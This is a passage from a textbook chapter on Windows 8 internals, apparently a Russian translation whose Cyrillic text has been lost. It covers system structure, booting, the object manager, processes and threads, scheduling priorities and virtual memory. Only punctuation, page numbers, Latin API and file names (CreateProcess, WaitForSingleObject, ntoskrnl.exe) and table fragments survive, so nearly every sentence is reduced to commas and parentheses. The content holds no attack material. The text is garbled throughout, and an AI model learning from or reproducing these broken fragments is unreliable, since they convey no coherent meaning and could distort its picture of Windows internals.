, ( )
(MIPS, x86, PowerPC, Alpha, IA64, x64
ARM). ,
, .
.
,
. ntoskrnl.exe, ,
. Microsoft
, - (-, , ,
. .).
, Windows , ,
,
,
(,
MMU).
.
- , -
11.3.
963
. ,
,
, .
,
, ,
( ,
).
, .
( ),
, .
(object manager)
, . , , ,
, -, .
, , . Windows
,
.
:
, ,
, , NT,
.
, , .
,
, .
- , .
API . Windows,
.
- (I/O manger)
-
, . Windows ,
. , , Windwos ( ).
Windows
(
).
Windows ( 1 ).
, . ,
,
964
11. : Windows 8
11.3.
965
)
(, ). 11.5.
(cache manger) - (
). ,
. , UNIX, .
.
.
, ,
( ). - ,
.
11.6.
(security reference monitor)
Windows, , Common Criteria (
).
,
(, , ,
). ,
. Windows
.
11.10.
,
. (configuration manager) , ( ).
, .
SYSTEM, .
( -,
),
. , - ,
.
LPC , .
, (RPC)
- . RPC
TCP/IP.
LPC Windows 8 ( ALPC Advanced
LPC LPC)), RPC ( RPC ,
). LPC NT,
-
966
11. : Windows 8
( ) , ,
( Win32 POSIX).
Windows 8 - WNF (Windows
Notification Facility Windows). WNF-
WNF. ()
( 4 ) , (,
).
. ,
.
WNF ,
, IPC , . ,
.
WNF
IPC: .
, , .
, ,
, , ,
. ,
- ,
, ,
, . WNF NT API- ()
Win32.
API- Win32 WinRT.
Windows NT 4.0 Win32
,
. csrss.exe, Win32.
(win32k.sys).
Win32,
( LPC).
, ,
, .
. 11.4 (device drivers).
Windows , NTOS.
(,
-), -
11.3.
967
. , Win32 .
-
(. 11.7). (sevice stack)
(device
objects) . , ( -, ).
,
(filter) - ( ,
). . -
,
,
.
,
RAID.
. 11.7. NTFS.
- .
. ,
968
11. : Windows 8
.
,
.
( ). ,
(file system filter drivers),
(
- ,
).
(, IPv4/IPv6 Windows) ( -).
Windows MS-DOS TCP/IP ( - Windows).
, , Windows -
(mini-ports). .
, SCSI IDE, USB-
, -
.
, 11.7 -
.
11.3.2. Windows
,
. , , .
,
(flashing). ,
. , . ,
BIOS (Basic Input/Output System -),
UEFI (Unified Extensible Firmware Interface ). UEFI BIOS
, ,
, ,
.
,
. Windows , ,
Windows- BootMgr. BootMgr ,
( ,
). , BootMgr -
11.3.
969
WinResume.exe. WinLoad.exe
. WinLoad
: ( ntoskrnl.exe), HAL
(hal.dll), SYSTEM , Win32k.sys (
Win32), ,
SYSTEM (boot drivers) ( , ).
Hyper-V, WinLoad .
Windows NTOS, HAL,
, ,
SYSTEM ( ).
( smss.exe, /etc/
init UNIX).
Windows
. (Trusted Platform Module (TPM)),
.
, ,
. TPM
, , BitLocker
. ,
TPM , .
,
,
.
Windows .
regedit ( SYSTEM)
.
. : (safe-boot),
,
(recovery console), cmd.exe,
, UNIX.
: ,
Windows, , ,
. (Microsofts On-line Crash
Analysis) , , Windows Vista
. ,
x86 (),
,
(
).
970
11. : Windows 8
11.3.3.
, ,
Windows, .
,
, , ,
, , , . (, , ,
Win32) . - (
NT ).
Key . , NT
. , ,
.
.
,
. .
, .
NT ( ).
(
)
( WaitForMultipleObjects). (ACL),
, .
( )
.
, , () , .
. ,
, , .
, ,
, ( ) .
, ( ).
( ) (
).
NT.
NT.
(. 11.8). , . , ( NT),
,
(ACL) .
11.3.
971
. 11.8. ,
( ) ,
. ( malloc) ,
, c . ,
2 ( ).
ISR DPC ( ), . ,
( ).
, ( LIFO )
. ,
.
,
. ,
. ( , ) (
).
, (- ). ( )
( ).
, .
, . , ,
, , ,
972
11. : Windows 8
. Windows,
(,
).
, , (referenced pointers).
, .
, .
, ,
, .
, .
- ( ). Windows (handles, ). ,
. . 11.9 ,
. .
, ,
, .
. 11.9. (
512 )
. 11.10
( ).
(
). ,
.
,
.
11.3.
973
,
,
.
. 11.10. (
16 )
( Win32, CreateSemaphore
OpenSemaphore). ,
.
, , 64-
, (
). 32- ( ). 64-
32- .
29- . 3
(, ). 3 . 32-
. ,
. ,
0,
( ).
( ). ,
,
(,
). ,
( , ; ; ,
NT).
974
11. : Windows 8
, NT (
). ( ) , ,
.
NT , . ,
( Parse). Parse ,
(. 11.8).
11.8. ,
Open
Parse
Close
Delete
Security
OueryName
Open ,
, , NULL
.
Close Delete .
,
( Close). , Delete,
.
-,
, . -,
( ).
Parse (
), NT.
, , ,
Parse. , , . ,
, .
Parse -,
- ( ,
11.3.
975
,
). .
QueryName , . Security , .
.
, , . 11.8,
, (
), . ,
.
API-, , .
, NtReadFile NtWriteFile,
, , ,
, .
, , ,
, NtClose ( ,
).
, ,
.
winobj,
www.microsoft.com/technet/sysinternals.
, . 11.9
( ).
11.9.
\??
MS-DOS :
\DosDevices
\??,
\??
\Device
\Driver
\ObjectTypes
(, . 11.12)
\Windows
Win32
\BaseNamedObjects
Win32, ,
. .
976
11. : Windows 8
11.9 ()
\Arcname
\NLS
\FileSystem
\Security
\KnownDLLs
\?? MS-DOS,
: ( -) : ( ).
\Device,
. \?? , (
, ).
.
,
. ,
, ( )
. ,
(
).
,
. Windows .
,
, , (,
).
( ).
, NT API, Win32 API
. , ,
, ;
; ,
, .
, Windows API , API (
NtClose).
- , .
( ).
11.3.
977
978
11. : Windows 8
6. IRP
, - ,
.
( ).
7. (, NTFS). ,
CREATE NTFS.
8. NTFS -,
( ,
IopParseDevice . 11.8).
9. .
Parse (
, , ).
,
.
10. ( ),
CreateFile Win32 API.
.
. 11.11. -
,
ObCreateObjectType .
, . Windows . 11.10.
.
11.3.
979
11.10.
( )
Process ()
Thread ()
Semaphore ()
Mutex ()
Event ()
( )
Timer ()
Queue ()
,
-
Open file ( )
Access token (
)
Profile ()
Section ()
Key ()
( )
Object directory (
)
Symbolic link ( )
Device ()
- ,
,
Device driver (
)
.
, (
). (, ) . ,
(,
-). : . , , .
, , -
,
( ),
980
11. : Windows 8
( ).
,
( ).
, . ( LPC). . ( KQUEUES) ,
- , ,
.
, , .
.
, . . ,
( ).
,
( , ).
,
.
( ),
( ).
. ( \REGISTRY),
NT.
NT, .
:
.
.
( )
,
. , ( ) .
,
, .
( )
( , Win32).
11.3.4. , DLL
. 11.2, , Windows
.
-
11.3.
981
, Windows :
, DLL .
Windows; , NT
( ). ,
( VMS Berkeley UNIX VAX
DEC). , , , Microsoft
, OS/2 (
). OS/2 , Win32 API (
Windows 95) .
Windows (Dynamic Link Library (DLL)), ,
(
).
, .
Windows DLL, ntdll.dll
( )
( ), ,
.
DLL (
), (
), (
, ).
, , ,
(-
), Windows DLL (DLL hell).
DLL . , ,
IAT (Import Address Table
). ,
DLL, ( ,
DLL DLL, ). DLL
, IAT .
. :
DLL
, DLL . , Windows DLL
, . -
,
, DLL attach
982
11. : Windows 8
. - attach
DLL, ,
.
DLL .
(hosting) . Internet Explorer DLL, ActiveX
(ActiveX controls). - , .
Microsoft Office DLL , Office .
(omponent bject Model ) ,
, ()
DLL , .
, DLL,
DLL ( Microsoft
side-by-side).
,
Windows ( ).
.
. Microsoft .
.
, , ,
, . Windows
.
, ,
, . ,
,
.
,
.
.
, ,
( ).
, .
( )
, .
, ( Windows
ALPC).
11.4. Windows
983
, ( ).
Singularity Microsoft Research (Fandrich et al., 2006) ( C# Java) ,
.
.
Windows .
. lsass.exe,
, (
),
. Plug-and-Play
(
), . (,
)
.
Windows taskmgr.exe ,
. (svchost.exe) . Windows (
). ,
.
DLL. Win32,
.
,
( TCP/IP
IP Security), ( RPC ).
Windows .
( ,
, , ).
Windows ( Windows Server).
11.4. Windows
Windows . Win32 API, , .
11.4.1.
Windows . , , .
, -
984
11. : Windows 8
, ,
, (
), .
, PEB (Process Environment Block
). (EXE DLL), , ,
( Win32,
).
Windows. ( ).
(affinitized),
. ,
, . :
, .
TEB (Thread Environment Block ),
, (Thread Local Storage) Win32, ,
, .
, , (user shared data). , , .
, ,
, , ( ,
, , ).
,
.
, ,
(, )
. (, )
( ),
, , .
, , ,
.
,
, .
,
, ,
, ,
. , UNIX, UNIX Windows.
UNIX 16- , .
11.4. Windows
985
fork
.
( ) . fork UNIX
. .
, NT
32- , 1 16 .
, NT
, ( ).
, , ,
. 64- ( )
.
.
, , , , ( )
. ,
- ,
, ,
(
). Windows UNIX
, , .
Windows , ,
,
(restricted token),
. ( ) , ,
, ( )
. . ,
, .
(). ,
,
. ,
,
( ). , , (
), ,
(
). Windows .
986
11. : Windows 8
Windows , . , ,
, .
. 11.12 (jobs), (processes),
(threads) (fibers). . .
.
--.
. 11.12. , , .
:
( , ).
,
. ,
SwitchToFiber ( ).
, , ( ).
,
, .
.
( ).
,
( ).
, ,
(
).
,
-- ( ). . Win32
, ,
, .
, , , ,
, () -
11.4. Windows
987
, .
(
, ).
Win32 Windows, .
,
, .
, .
, .
, .
(
) (
). Windows
Win32, API-
.
, -
. , ,
,
, . , -
, .
, , .
,
-,
, ,
. , ,
- ,
, .
.
, Windows-
: .
UNIX.
,
. ,
.
, , ,
. ,
988
11. : Windows 8
,
.
, ,
.
. Windows 7 Microsoft UMS (User-Mode Scheduling ),
. UMS , , scheduler activations
( ). ,
, Win32,
Win32.
UMS :
1. :
. , UMS
.
2. : , UMS ,
.
, .
3. :
- ,
,
.
UMS
Windows. UMS
,
, . , .
. 11.11.
11.11. ,
AppContainers
11.4. Windows
989
, . ,
, . , (, , . .), .
Win32, ,
.
, , (
).
, (
, ).
. 11.9 11.10
. ,
(
). Windows
FIFO () , .
.
, ,
, . : , .
, .
CONTEXT (
). , CONTEXT
. CONTEXT
, .
,
( - )
( ), -
990
11. : Windows 8
. (
, .)
-. -,
- . ,
. - . , .
, ,
. , . , ,
Win32. ,
- , ( ) . , .
,
( ).
, (
) Windows ,
.
,
(system process). . , ,
.
,
. (,
), (
, , -
).
11.4.2. API ,
,
CreateProcess Win32 API.
.
, ( )
. , ,
, , . ,
.
,
.
Win32 , ( ,
).
,
UNIX:
11.4. Windows
991
1. Win32, UNIX .
2. UNIX, Windows
. Windows
( , UNIX,
, ).
3. UNIX , Win32 .
(, *.txt ) -.
4. UNIX . Windows , .
5. Win32 ,
(
UNIX
).
6. Windows SETUID,
, (
).
7. Windows
, ,
. UNIX
fork exec ,
exec .
, . UNIX , Windows
. UNIX PATH. Windows MS-DOS
.
, Win32 NT,
system fork exec UNIX. NT (NtCreateProcess
NtCreateThread) , Win32. NT (
), (,
) (
). ,
, .
POSIX
( ).
992
11. : Windows 8
, , , , , ,
. : ( ).
, UNIX. ,
, 128
128 ( 512 ,
).
, .
( ).
(mailslots) OS/2, Windows . ,
. , ( ).
, . ,
( ). ,
Windows , . -
11.4. Windows
993
.
(sockets) , ,
. , , (
) .
,
, ,
. Berkeley UNIX,
. Berkeley
Windows ( ,
).
RPC ( ) ,
. . , , . RPC
. Windows
TCP/IP, ALPC. ALPC (Advanced Local Procedure
Call ) .
.
, (
, RPC
, , ALPC). ALPC
( ).
, .
,
( ). , ,
.
,
.
.
Windows ,
( ,
, ).
( ), ,
( ) .
CreateSemaphore Win32
API, . , .
DuplicateHandle (
).
994
11. : Windows 8
Win32, ACL .
, .
up down, :
ReleaseSemaphore ( up) WaitForSingleObject ( down). WaitForSingleObject, ,
0 ( ).
WaitForSingleObject WaitForMultipleObjects
( 11.3). API
, ,
(
, -,
).
, ,
, . ,
API (WaitForSingleObject)
(ReleaseMutex). , ,
.
(critical section).
. Windows ,
, . ,
.
EnterCriticalSection LeaveCriticalSection . API
, .
-
( ) ( ).
,
.
.
, (events). ,
: (notification events)
(synchronization events). : .
WaitForSingleObject.
SetEvent, . , ,
ResetEvent.
,
. PulseEvent, SetEvent (
, , ). SetEvent ( )
11.4. Windows
995
,
( API ) .
Win32 API ,
100 ,
IPC.
Windows ,
WaitOnAddress InitOnceExecuteOnce. WaitOnAddress . WakeByAddressSingle, WakeByAddressAll,
, , WaitOnAddress
. API
, .
, ,
. WaitOnAddress (sleep/wakeup), UNIX. InitOnceExecuteOnce
. ,
. ,
. 11.12.
11.12. Win32, ,
Win32 API
CreateProcess
CreateThread
CreateFiber
ExitProcess
ExitThread
ExitFiber
SwitchToFiber
SetPriorityClass
SetThreadPriority
CreateSemaphore
CreateMutex
OpenSemaphore
OpenMutex
WaitForSingleObject
, . .
WaitForMultipleObjects
PulseEvent
ReleaseMutex
996
11. : Windows 8
11.12 ()
Win32 API
ReleaseSemaphore
EnterCriticalSection
LeaveCriticalSection
WaitOnAddress
WakeByAddressSingle
WakeByAddressAll
InitOnceExecuteOnce
, . ,
, Win32 NT API. ( )
, , ,
Windows .
.
11.4.3.
, Windows
( ). Win32 , . API ( ).
.
, , .
, CreateProcess
Win32. ( ) kernel.dll,
NtCreateUserProcess ,
:
1. ( )
Win32 NT. (
), ,
( ,
PATH, ).
2. (
) NtCreateUserProcess.
3. , NtCreateUserProcess ,
, -
11.4. Windows
997
.
4. (
, ,
).
5. ,
, , ,
self-map,
. self-map 11.5.
6. ,
, .
7. , (
, , ).
.
8. Process Environment
Block (PEB) , ,
(,
(DLL).
9. , , .
10. ( - )
.
11. . Thread Environment Block (TEB).
CONTEXT, ( ).
12. . . (
).
13. NtCreateUserProcess
, , , .
14. NT API , Win32 ,
(, WOW64). , ,
.
CreateProcess.
998
11. : Windows 8
Windows . ,
, , ,
.
:
1. , , , - . .
2. (, up ).
3. .
1 -. , ,
11.4. Windows
999
CONTEXT .
2 . ,
. ,
,
, . , , Windows ,
,
. , ,
,
( ,
).
3 ,
( , ).
, ,
, .
.
:
1. -.
2. .
-,
. , ,
( ).
(
). (DPC)
.
down - ,
-, . -
DPC, .
- , ,
, ( 1).
. Win32 API API . SetPriorityClass,
.
: real-time, high, above normal, normal idle.
.
,
, , . , ,
(
, ).
1000
11. : Windows 8
Win32
Real-time
High
Above
Normal
Normal
Below
Normal
Idle
Time critical
31
15
15
15
15
15
Highest
26
15
12
10
Above normal
25
14
11
Normal
24
13
10
Below normal
23
12
Lowest
22
11
Idle
16
32 , 32 ( 0 31) . 11.13.
. 31 0.
,
. ,
.
, ,
( ).
, ,
.
, ( , ).
( ). , ,
, ( ).
11.4. Windows
1001
, .
,
, .
(ideal processor) ( ). , , ,
.
,
(
, ). NUMA (NonUniform Memory Access).
.
NUMA, ( ).
. 11.13. ,
: real-time, user, zero idle (
1). . 1631
,
, ,
.
( DPC ISR). ,
, DPC ISR (
).
1002
11. : Windows 8
. , , ,
, ,
, .
.
.
115. ,
. (ZeroPage)
0 .
.
,
. ,
, , , ( ).
( )
( 15). , . 11.13,
, .
.
, . -, -
, (
-). ,
-.
- 1, 2, 6, 8.
-, , ,
, (, , ,
), .
, 8. , ,
( ).
.
.
,
.
, , ,
( ).
. ,
.
, (, 12),
( 4). ( . 11.14, ).
, -
8 (. 11.14, ).
11.5.
1003
. 11.14.
, , , ( , ,
).
( 8 ).
(priority inversion).
Windows , Autoboost ().
Autoboost , ,
.
Windows , . Windows
terminal server, using RDP
(Remote Desktop Protocol ) .
,
. Windows DFSS (Dynamic
Fair-Share Scheduling ),
. DFSS
(scheduling groups).
, Windows,
, . ,
,
.
11.5.
Windows .
Win32,
1004
11. : Windows 8
NTOS. , Win32, .
11.5.1.
Windows
. 86 32 ,
4 , 2 . x64
, .
86, 64
4 , , , 2
( ).
86 . 11.15. 64
. ,
.
. 11.15.
86. .
64 .
2 . 2
( , , ). 2
, ( ,
11.5.
1005
, ).
.
, ,
. , , .
, UNIX.
- ,
.
.
Windows (
). ,
(,
).
.
: , . (invalid
page) , , .
,
(commited). , .
, -
, ( ).
,
, , ,
( - ).
(soft faults), .
(reserved) .
,
. ,
,
,
.
( , ).
. ,
( ,
). ,
1006
11. : Windows 8
,
, .
, .
(pagefile). ,
.
:
(
). , ( ).
Windows (just-in-time) . ( )
, . , , .
, ,
. Windows.
,
(smss.exe).
(, , )
.
, .
( ) ,
.
, , ,
.
( -). ,
, .
.
. , (
)
( ).
,
( ). , , (standby list),
( ).
,
11.5.
1007
.
( ).
, ,
,
, .
Windows 16 . ( -).
( ),
( ). ( )
, , , (
).
,
(
). , ,
.
( EXE
DLL) .
,
, ,
. ( ), .
, ,
. , ,
,
,
. Windows ( ) (copy-onwrite). ,
,
. ,
, ,
. ,
( ).
EXE DLL
,
( ). -
, (
).
.
.
( ).
1008
11. : Windows 8
NT, (
), .
11.5.2.
Win32 ,
.
. 11.14. ,
, ,
. , ;
,
.
11.14. Win32
Windows
Win32
VirtualAlloc
VirtualFree
VirtualProtect
(//)
VirtualQuery
VirtualLock
( )
VirtuelUnlock
CreateFileMapping
()
MapViewOfFile
( )
UnmapViewOfFile
OpenFileMapping
API , , . 64 (
, ).
64 ,
. API ( ) .
,
. ,
. , .
, (
). . 11.14, Windows
API,
, (. . 11.4).
API .
(. . 11.10) CreateFileMapping. -
11.5.
1009
( ) ()
Win32, .
( ).
API ,
( CreateFileMapping),
. ,
. .
11.5.3.
86 Windows ( )
4 ( ). .
( 64 ). x86 4 . ,
4
(Translation Lookaside Buffer (TLB)) . 2
( TLB
,
TLB).
. 11.16. .
lib.dll
1010
11. : Windows 8
, , . , ( )
, .
( . 11.16
), VAD (Virtual Address Descriptor),
,
, . ,
. VAD. (
).
. ( )
( ) , .
Windows , EXE
DLL ,
.
, , .
, ( ,
Microsoft Super-Fetch). (
). (
). ,
( ).
,
.
,
. , ,
( ).
.
(,
, ).
.
.
. ( )
.
. ,
VAD ( )
11.5.
1011
.
( )
.
. 86 64
. 11.17. , ( ).
, (invalid),
.
. , ( )
.
. () (D).
.
,
(LeastRecently Used (LRU)). LRU , ,
,
. , . ,
, , (, ,
).
, ( ,
- ).
, 86 x64,
64 (. . 11.17).
:
1. .
2. .
3. .
1012
11. : Windows 8
4. .
5. , .
.
, ,
(
), (access violation)
. , ,
.
, (
), .
, .
,
, . , .
, , .
. , ,
. , ,
.
, .
. ,
(, ,
), ,
. (, , ),
(,
, ).
,
, ( ,
).
, ( ),